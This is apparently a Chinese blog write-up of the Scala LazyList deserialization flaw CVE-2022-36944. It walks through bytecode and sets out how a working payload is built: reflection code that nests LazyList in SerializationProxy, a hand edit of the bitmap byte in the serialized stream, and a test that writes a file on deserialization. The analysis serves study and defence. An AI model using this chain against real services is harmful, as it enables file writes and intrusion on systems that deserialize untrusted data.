前言
无。
漏洞描述
漏洞通告说明这是一个由LazyList类导致的反序列化漏洞,整条反序列化链从一个代理类开始,同时Github上也有这个漏洞的公开POC,学习起来就更简单了。
那么开始学习。
环境搭建
有个Scala依赖就行了:
1 2 3 4 5
| <dependency> <groupId>org.scala-lang</groupId> <artifactId>scala-library</artifactId> <version>2.13.8</version> </dependency>
|
漏洞分析
反编译错误
用IDEA打开LazyList类,发现反编译出问题了,比如序列化相关的writeReplace函数:
1
| public java.lang.Object writeReplace() { }
|
反编译失败,看起来IDEA的反编译工具不太能理解Scala构建的字节码。
没代码学习个锤子,总不能空想吧。那么接下来就有两个法子,比较王道的应该就是像参考文章那样从Scala代码看起,再回到Java。
但我比较懒,虽然IDEA反编译失败了,但为了在JVM执行,字节码肯定还是正确的,所以我可以直接看Java字节码来捋一捋代码思路。
生啃字节码
首先在IDEA中看一下LazyList构造,这是一个Serializable类,但是由于LazyList中不存在readObject等反序列化起始函数,因此需要在外面嵌套一个SerializationProxy类。根据漏洞描述,漏洞产生原因就是其成员lazyState作为一个匿名函数的Function0类被调用,从而导致了一个范围比较有限的任意匿名函数调用漏洞。
payload生成
参考Github上的poc,主要就是SerializationProxy嵌套LazyList,再加上反射修改几个成员:
1 2 3 4 5 6 7 8
| Object lazyList = Utils.newInstance("scala.collection.immutable.LazyList", new Class[] {Function0.class}, payload); Object emptyLazyListState = Utils.getStaticValue("scala.collection.immutable.LazyList$State$Empty$", "MODULE$"); Utils.setField(lazyList, "scala$collection$immutable$LazyList$$state", emptyLazyListState); Utils.setField(lazyList, "scala$collection$immutable$LazyList$$stateEvaluated", true); Utils.setField(lazyList, "bitmap$0", true); Object serializationProxy = Utils.newInstance("scala.collection.immutable.LazyList$SerializationProxy", lazyList);
|
三个成员state、stateEvaluated和bitmap各有用处,后续阅读字节码时再做分析。
SerializationProxy序列化
然后我使用的是jclasslib这个工具来观摩字节码,首先看代理类SerializationProxy,该类也是一个Serializable类,且存在一个LazyList类型的成员:
1
| private transient scala.collection.immutable.LazyList<A> coll;
|
该成员在构造函数中被赋值:
1
| public SerializationProxy(scala.collection.immutable.LazyList<A> coll) { }
|
反编译失败,该函数的字节码如下:
1 2 3 4 5 6
| 0 aload_0 1 aload_1 2 putfield 5 aload_0 6 invokespecial 9 return
|
简单来说就是一行代码,将参数即用于完成反序列化漏洞的LazyList对象存放到自身的成员coll中:
1
| public SerializationProxy(scala.collection.immutable.LazyList<A> coll) { this.coll = coll; }
|
但是该coll成员是一个transient成员,因此猜测在序列化时对其进行了特殊的序列化操作,看看它的writeObject函数字节码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| 0 aload_1 1 invokevirtual 4 aload_0 5 invokevirtual 8 astore_2 9 aload_2 10 ifnonnull 15 (+5) ... 15 aload_2 16 getfield 19 ifeq 44 (+25) 22 aload_2 23 invokevirtual 26 getstatic 29 if_acmpne 36 (+7) 32 iconst_1 33 goto 37 (+4) ... 37 ifne 44 (+7) ... 44 iconst_0 45 ifeq 64 (+19) ... 64 aload_1 65 getstatic 68 invokevirtual 71 aload_1 72 aload_2 73 invokevirtual 76 return
|
由于代码中涉及到if等程序控制,整体字节码看起来相当复杂,因此这里根据payload构造方式,删去了一些由于成员判断语句(如ifeq)而被跳过(如ifeq、goto)的无效字节码。
第一段代码调用defaultWriteObject写入了常规成员,然后调用自身的coll函数,coll函数字节码如下:
1 2 3
| 0 aload_0 1 getfield 4 areturn
|
获取自身成员并将结果返回,即:
1
| public scala.collection.immutable.LazyList<A> coll() { return this.coll; }
|
整段代码大致上就可以理解为:
1 2 3 4 5
| out.defaultWriteObject(); LazyList<A> coll = this.coll; if (coll != null) { 第二段代码 }
|
再保存到索引变量表下标为2的地方,当结果不为null时,跳转到标号为15的代码行,即第二段字节码,首先判断stateEvaluated成员的值,当其不为false时继续执行,再判断state成员是否与一个空state相等,当其相等时继续执行,当其不等时则会调用LazyList的head函数对其内部元素进行循环序列化,阅读字节码发现其是通过执行匿名函数成员lazyState获得的,环境中不好找到符合条件的Function,所以直接使用empty state是最方便的。
最后来到第三段字节码,调用writeObject开始序列化关键的LazyList对象。
LazyList序列化
只有一个writeReplace函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| 0 aload_0 1 getfield 4 ifeq 29 (+25) 7 aload_0 8 invokevirtual 11 getstatic 14 if_acmpne 21 (+7) 17 iconst_1 18 goto 22 (+4) 21 iconst_0 22 ifne 29 (+7) 25 iconst_1 26 goto 30 (+4) 29 iconst_0 30 ifeq 42 (+12) 33 new 36 dup 37 aload_0 38 invokespecial 41 areturn 42 aload_0 43 areturn
|
可以看到,由于state成员是否与一个空state相等,LazyList就会跳过后面的创造SerializationProxy代理环境直接将自身序列化,这里面或许会存在死循环问题,但是不好找到合适的state对象来测试,只是个猜测。
SerializationProxy反序列化
SerializationProxy类的readObject函数,LazyList没有readObject等函数,因此会在ObjectInputStream.defaultReadObject函数调用时被正常反序列化,后续关键字节码处理如下:
1 2 3 4 5 6 7 8
| 53 invokevirtual 56 checkcast 59 astore 5 ... 69 aload 5 71 aload_2 72 invokevirtual 75 invokevirtual
|
从字节流中反序列化出LazyList对象,然后调用其prependedAll函数,该函数第一段字节码如下:
1 2 3 4 5
| 0 aload_0 1 getfield 4 ifeq 29 (+25) 7 aload_0 8 invokevirtual
|
如果stateEvaluated为false,则会直接跳转到标号为29的字节码处,就会跳过关键的state函数调用,该函数调用的字节码如下:
1 2 3 4 5 6 7 8 9
| 0 aload_0 1 getfield 4 ifne 12 (+8) 7 aload_0 8 invokespecial 11 areturn 12 aload_0 13 getfield 16 areturn
|
可以看到,如果bitmap为true,就会直接跳转到标号为12的字节码处,同样会跳过关键的的lzycompute函数,因此为了让反序列化漏洞利用流程正常进行,用于反序列化的LazyList对象需要修改一个值为false的bitmap成员,但是过早修改会导致lazyState这个Function被过早触发,然后由于类型转换为state失败导致序列化异常。
lzycompute函数的字节码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| 0 aload_0 1 monitorenter 2 aload_0 3 getfield 6 ifne 81 (+75) 9 aload_0 10 aload_0 11 getfield 14 ifeq 28 (+14) 17 new 20 dup 21 ldc_w 24 invokespecial 27 athrow 28 aload_0 29 iconst_1 30 putfield 33 aload_0 34 getfield 37 invokeinterface 42 checkcast
|
可以看到,如果bitmap为true,就会直接跳转到标号为81的字节码处,还是会跳过关键的Function0.apply执行lazyState。此外,还有一个条件则是midEvaluation成员为false,不然会抛出Runtime异常。
这些条件都满足后,就可以通过invokeinterface字节码调用Function0.apply函数,即执行可控匿名函数成员lazyState。
漏洞利用
关键点在于在恰当时机修改bitmap成员,poc的做法是通过javassist重写LazyList类的writeObject函数,让其修改bitmap成员,但在我Java8环境中,由于该过程中会调用Class.getModule函数,而该函数要求环境为Java9,因此无法正常使用。
第二种办法是使用Agent直接修改字节码,或者尝试手写序列化字节流,但是毕竟要修改的只有小小的一个布尔值,所以我选择直接修改序列化后的字节流,先保存一下序列化字节流:
1 2 3 4
| byte[] bytes = Utils.serialize(serializationProxy); FileOutputStream fos = new FileOutputStream("exploit.ser"); fos.write(bytes); fos.close();
|
然后用SerializationDumper读取,找到bitmap成员对应的布尔值位置:
1 2 3 4 5 6 7 8 9 10
| newHandle 0x00 7e 00 0a classdata scala.collection.immutable.LazyList values bitmap$0 (boolean)true - 0x01 midEvaluation (boolean)false - 0x00 scala$collection$immutable$LazyList$$stateEvaluated (boolean)true - 0x01
|
然后用WinHex打开直接修改,最后回到IDEA中测试反序列化:
1 2 3 4 5 6 7 8 9 10
| FileInputStream f = new FileInputStream("exploit.ser"); ObjectInputStream ois = new ObjectInputStream(f) { @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { System.out.println("反序列化类:" + desc.getName()); return super.resolveClass(desc); } }; obj = ois.readObject();
|
可以看到类型转换异常:
1
| java.lang.ClassCastException: java.io.FileOutputStream cannot be cast to scala.collection.immutable.LazyList$State
|
同时文件创建成功,想要实现其他利用效果,可以使用ASM框架读取字节码找到所有的匿名函数类Function来分析。
参考
基于LazyList的Scala反序列化漏洞透析(CVE-2022-36944)